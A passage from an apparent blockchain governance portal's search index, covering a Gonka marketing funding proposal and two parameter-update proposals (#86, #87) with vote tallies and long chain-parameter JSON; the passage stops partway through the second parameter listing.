"proposals/proposals/2026-q3/85/full-proposal/#where-are-we-going-to-send-the-traffic", "title": "Where are we going to send the traffic?", "text": "We are planning to work in separated streams trying to engage brokers owners, and other go-to-market focused entrepreneurs from the community and outside (already we've found over 10 people). The work will be organized in sprints, each sprint will have a budget that will be distributed between actors proportionally to their contribution and results.
We'll start from analytics, accurate experiments and process setup — and then scale.
1st month we will be focused on onboarding funnels, pSEO/GEO website and analytics setup, initial communities and influencers testing, strategy. Then acquisition channels and formats.
Reporting: - Every two weeks awards distribution between participants depending their contribution and cumulative results + AMAs with us - Data on dashboards + what the creators of Gonka services see (somehow to encourage them to report)
"}, {"location": "proposals/proposals/2026-q3/85/full-proposal/#the-team", "title": "The Team", "text": "Top persons, responsible for the results — C-Level Executives, investing in Gonka since November 2025.
Created the first version of go-to-market strategy in May, and was responsible for the Marketing track in the applied roadmap, leads The Soul and other external performers.
Arseny Myakotnikov — details: LinkedIn
Best achievement: attracting $300M+ AUM for a DeFi hedge-fund, scaling from ~1K to 15K+ active users
Hleb Dapkiunas — actively bisdevs startups, one of his posts with the requirements he found was mentioned as useful by Vadim Krutov, COO Bitfury — link. (To join the group \"Gonka_Use Cases\" to see the comment use this invite)
Last 2 month we are actively participating in go-to-market activities. Top-3 samples: 1. Viktor Katsman created the first version of go-to-market strategy in May, and was responsible for the Marketing track in the applied roadmap, leads The Soul and other external performers. 2. Hleb Dapkiunas actively bisdevs startups, one of his posts with the requirements he found was mentioned as useful by Vadim Krutov, COO Bitfury. 3. Viktor Katsman actively bisdevs startups and have already made the meaningful case — Integrity added Gonka models as \"Powerful models at a fraction of the price\" in Beta stage for all users.
"}, {"location": "proposals/proposals/2026-q3/85/full-proposal/#cost-budget", "title": "Cost + Budget", "text": "This illustrates general focuses of our work. In the beginning, spends will be less, then higher. Budgets can be redistributed into more promising areas, which we will see as we go along. Our bonuses and additional bonuses for various people in the team and community members are distributed between these directions.
"}, {"location": "proposals/proposals/2026-q3/85/full-proposal/#monthly-usdt-budget", "title": "Monthly USDT Budget", "text": "Direction Budget per month Were Key executives Paid traffic small-cost experiments in Google Search for inference users (based on our competitors aka OpenRouter users data) 0K USDT 5K USDT — Social Activities External Supporters 3K USDT 3K USDT Arseny Influencers, Communities, Conferences Partnerships in B2B / B2C 4K USDT 10K USDT Viktor AI and other tools, infrastructure, development, emails, linked-in, external agencies 5K USDT — Viktor + Arseny Total 12K USDT 18K USDTUSDT budget covers: 1. Micro-influencer fees and portals working with them (typically paid around $15-30 per video + bonuses if successful or generates a lot of leads) 2. Partnerships with target communities. Barter is preferred, but sometimes USD is required; partnerships may cost $50-$500. Includes Product Hunt launch + AI product listings. 3. Referrals of useful people and clients. 4. Development activities, infrastructure, AI and other tools. 5. Conferences and business trips, where we can easily present Gonka. 6. External agencies (uForce — experienced agency in AI-driven influencers research; rizzult.ai for influencers and B2B; adstail.com — vkatsman has direct connections with founders; fusionmedia.fund — their barter-driven offer).
Actual cost = 600K GNK + 36K USDT
"}, {"location": "proposals/proposals/2026-q3/86/", "title": "#86 – Increase Kimi-K2.6 and GLM-5.2 weight_scale_factor by 5%", "text": "Passed
Proposal ID: 86
Type: Update Params
Submit: 2026-07-14 17:53 UTC
Voting: 2026-07-14 17:53 UTC → 2026-07-16 17:53 UTC
Proposer: gonka123pr0p0salv96xvne9qln70x3usvpyscug5f9a
View on gonka.gg
Increase the weight_scale_factor for moonshotai/Kimi-K2.6 from 0.90 to 0.945 (+5%) and for zai-org/GLM-5.2-FP8 from 2.47 to 2.5935 (+5%). All other model and chain parameters remain unchanged.
"}, {"location": "proposals/proposals/2026-q3/86/#final-tally", "title": "Final Tally", "text": "Yes 299,231 (98.5%) No 0 (0.0%) Veto 0 (0.0%) Abstain 4,445 (1.5%) Total 303,676 votes ✓ Turnout 303,676 / 564,299 (53.8%) · Quorum 25% (141,074)"}, {"location": "proposals/proposals/2026-q3/86/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"35\",\n \"poc_exchange_duration\": \"0\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"240\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"2\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"confirmation_poc_safety_window\": \"500\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"150\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"300\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"bad_participant_invalidation_rate\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"invalidation_h_threshold\": {\n \"value\": \"4\",\n \"exponent\": 0\n },\n \"downtime_good_percentage\": {\n \"value\": \"98\",\n \"exponent\": -2\n },\n \"downtime_bad_percentage\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"downtime_h_threshold\": {\n \"value\": \"1\",\n \"exponent\": 2\n },\n \"downtime_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"quick_failure_threshold\": {\n \"value\": \"1\",\n \"exponent\": -6\n },\n \"binom_test_p0\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"processed_logprobs\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": null,\n \"model_params\": null,\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": true,\n \"confirmation_poc_v2_enabled\": true,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": true,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [\n {\n \"model_id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"75\",\n \"exponent\": -2\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"3024\",\n \"exponent\": -4\n },\n \"penalty_start_epoch\": \"278\"\n },\n {\n \"model_id\": \"moonshotai/Kimi-K2.6\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"945\",\n \"exponent\": -3\n },\n \"penalty_start_epoch\": \"310\"\n },\n {\n \"model_id\": \"zai-org/GLM-5.2-FP8\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"45\",\n \"exponent\": -2\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"25935\",\n \"exponent\": -4\n },\n \"penalty_start_epoch\": \"500\"\n }\n ],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"100\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 1,\n \"max_inferences_per_block\": \"1000\"\n },\n \"confirmation_poc_params\": {\n \"expected_confirmations_per_epoch\": \"4\",\n \"alpha_threshold\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"slash_fraction\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"upgrade_protection_window\": \"500\"\n },\n \"genesis_guardian_params\": {\n \"network_maturity_threshold\": \"15000000\",\n \"network_maturity_min_height\": \"3000000\",\n \"guardian_addresses\": [\n \"gonkavaloper1y2a9p56kv044327uycmqdexl7zs82fs5lyang5\",\n \"gonkavaloper1dkl4mah5erqggvhqkpc8j3qs5tyuetgdc59d0v\",\n \"gonkavaloper1kx9mca3xm8u8ypzfuhmxey66u0ufxhs70mtf0e\"\n ]\n },\n \"developer_access_params\": {\n \"until_block_height\": \"2459367\",\n \"allowed_developer_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d\",\n \"gonka1x7zh2277spp7jfqjhv0g5mnezg290xdr4kpfnk\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1khca2ht3m0nvpfghrxwgvnmj74t0sx6qzc2edd\"\n ]\n },\n \"participant_access_params\": {\n \"new_participant_registration_start_height\": \"2475000\",\n \"blocked_participant_addresses\": [\n \"gonka1blockedxxxxxxxxxxxxxxxxxxxxxx\"\n ],\n \"use_participant_allowlist\": true,\n \"participant_allowlist_until_block_height\": \"2475000\"\n },\n \"transfer_agent_access_params\": {\n \"allowed_transfer_addresses\": [\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\"\n ]\n },\n \"devshard_escrow_params\": {\n \"min_amount\": \"50000000\",\n \"max_amount\": \"100000000000\",\n \"max_escrows_per_epoch\": 500000,\n \"group_size\": 16,\n \"allowed_creator_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka1sy7ug80wrnm6gk47creak0j5eagjpf7maqcqwk\",\n \"gonka1w66aw6jayepglwgz66qtunetr5nyw9ls7evq5g\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1r2s0rwgskp6y4ed7qr7d25qdwjwlvpp6demv90\",\n \"gonka1ls8wqecwj369du8s2t9a223xu9sgvmzlw2ye9c\",\n \"gonka10wmset95nhgfjt4wklsyjqpx55m40zy3gha2pn\",\n \"gonka17ld2g62230w0erzexefzw03sw0adtuchr425rp\"\n ],\n \"token_price\": \"10\",\n \"approved_versions\": [\n {\n \"name\": \"v1\",\n \"binary\": \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13-devshard-v1/devshardd.zip\",\n \"sha256\": \"dad6f1b97843816c0a33874b89ac403e48b54fe3aa1a0fdccb228d89d2a5594c\"\n },\n {\n \"name\": \"v2\",\n \"binary\": \"https://github.com/gonka-ai/gonka/releases/download/release%2Fdevshard%2Fv2.0.0/devshardd.zip\",\n \"sha256\": \"1a3b58bd0ac20dbb8baa68b1bf6c80516ca3c0f4d39e06160d07613ec1b1340b\"\n },\n {\n \"name\": \"v3\",\n \"binary\": \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13-devshard-v3.0.0/devshardd.zip\",\n \"sha256\": \"ca1294fc8db3f0907a01f362eb4b13665f66d0fd12cfc6f01468b1e27f0bab63\"\n }\n ],\n \"max_nonce\": 1000000,\n \"devshard_requests_enabled\": true,\n \"default_inference_seal_grace_nonces\": 0,\n \"default_inference_seal_grace_seconds\": 0,\n \"create_devshard_fee\": \"0\",\n \"fee_per_nonce\": \"0\",\n \"refusal_timeout\": \"0\",\n \"execution_timeout\": \"0\",\n \"validation_rate\": 0,\n \"vote_threshold_factor\": 0,\n \"default_auto_seal_every_n_nonces\": 0\n },\n \"fee_params\": {\n \"min_gas_price_ngonka\": \"0\",\n \"base_validation_gas\": \"500000\",\n \"gas_per_poc_count\": \"100\"\n },\n \"delegation_params\": {\n \"deploy_window\": \"500\",\n \"refusal_penalty\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"no_participation_penalty\": {\n \"value\": \"15\",\n \"exponent\": -2\n },\n \"delegation_share\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"w_threshold\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"v_min\": \"3\",\n \"cap_factor\": {\n \"value\": \"75\",\n \"exponent\": -2\n },\n \"initial_model_id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"max_model_voting_power_percentage\": {\n \"value\": \"3\",\n \"exponent\": -1\n }\n },\n \"maintenance_params\": null\n }\n }\n]\nPassed
Proposal ID: 87
Type: Delete Governance Model, Update Params
Submit: 2026-07-16 00:01 UTC
Voting: 2026-07-16 00:01 UTC → 2026-07-16 12:01 UTC
Expedited: Yes
Proposer: gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le
View on gonka.gg
Remove moonshotai/Kimi-K2.6 from PoC params and delete it from the governance model list.
"}, {"location": "proposals/proposals/2026-q3/87/#final-tally", "title": "Final Tally", "text": "Yes 151,714 (100.0%) No 8 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 151,722 votes ✓ Turnout 151,722 / 344,693 (44.0%) · Quorum 25% (86,173)"}, {"location": "proposals/proposals/2026-q3/87/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams 2 /inference.inference.MsgDeleteGovernanceModel Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"35\",\n \"poc_exchange_duration\": \"0\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"240\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"2\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"confirmation_poc_safety_window\": \"500\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"150\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"300\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"bad_participant_invalidation_rate\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"invalidation_h_threshold\": {\n \"value\": \"4\",\n \"exponent\": 0\n },\n \"downtime_good_percentage\": {\n \"value\": \"98\",\n \"exponent\": -2\n },\n \"downtime_bad_percentage\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"downtime_h_threshold\": {\n \"value\": \"1\",\n \"exponent\": 2\n },\n \"downtime_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"quick_failure_threshold\": {\n \"value\": \"1\",\n \"exponent\": -6\n },\n \"binom_test_p0\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"processed_logprobs\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": null,\n \"model_params\": null,\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": true,\n \"confirmation_poc_v2_enabled\": true,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": true,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [\n {\n \"model_id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"75\",\n \"exponent\": -2\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"3024\",\n \"exponent\": -4\n },\n \"penalty_start_epoch\": \"278\"\n },\n {\n \"model_id\": \"zai-org/GLM-5.2-FP8\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"45\",\n \"exponent\": -2\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"247\",\n \"exponent\": -2\n },\n \"penalty_start_epoch\": \"500\"\n }\n ],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"100\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 1,\n \"max_inferences_per_block\": \"1000\"\n },\n \"confirmation_poc_params\": {\n \"expected_confirmations_per_epoch\": \"4\",\n \"alpha_threshold\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"slash_fraction\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"upgrade_protection_window\": \"500\"\n },\n \"genesis_guardian_params\": {\n \"network_maturity_threshold\": \"15000000\",\n \"network_maturity_min_height\": \"3000000\",\n \"guardian_addresses\": [\n \"gonkavaloper1y2a9p56kv044327uycmqdexl7zs82fs5lyang5\",\n \"gonkavaloper1dkl4mah5erqggvhqkpc8j3qs5tyuetgdc59d0v\",\n \"gonkavaloper1kx9mca3xm8u8ypzfuhmxey66u0ufxhs70mtf0e\"\n ]\n },\n \"developer_access_params\": {\n \"until_block_height\": \"2459367\",\n \"allowed_developer_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d\",\n \"gonka1x7zh2277spp7jfqjhv0g5mnezg290xdr4kpfnk\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1khca2ht3m0nvpfghrxwgvnmj74t0sx6qzc2edd\"\n ]\n },\n \"participant_access_params\": {\n \"new_participant_registration_start_height\": \"2475000\",\n \"blocked_participant_addresses\": [\n \"gonka1blockedxxxxxxxxxxxxxxxxxxxxxx\"\n ],\n \"use_participant_allowlist\": true,\n \"participant_allowlist_until_block_height\": \"2475000\"\n },\n \"transfer_agent_access_params\": {\n \"allowed_transfer_addresses\": [\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\"\n ]\n },\n \"devshard_escrow_params\": {\n \"min_amount\": \"50000000\",\n \"max_amount\": \"100000000000\",\n \"max_escrows_per_epoch\": 500000,\n \"group_size\": 16,\n \"allowed_creator_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka1sy7ug80wrnm6gk47creak0j5eagjpf7maqcqwk\",\n \"gonka1w66aw6jayepglwgz66qtunetr5nyw9ls7evq5g\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n 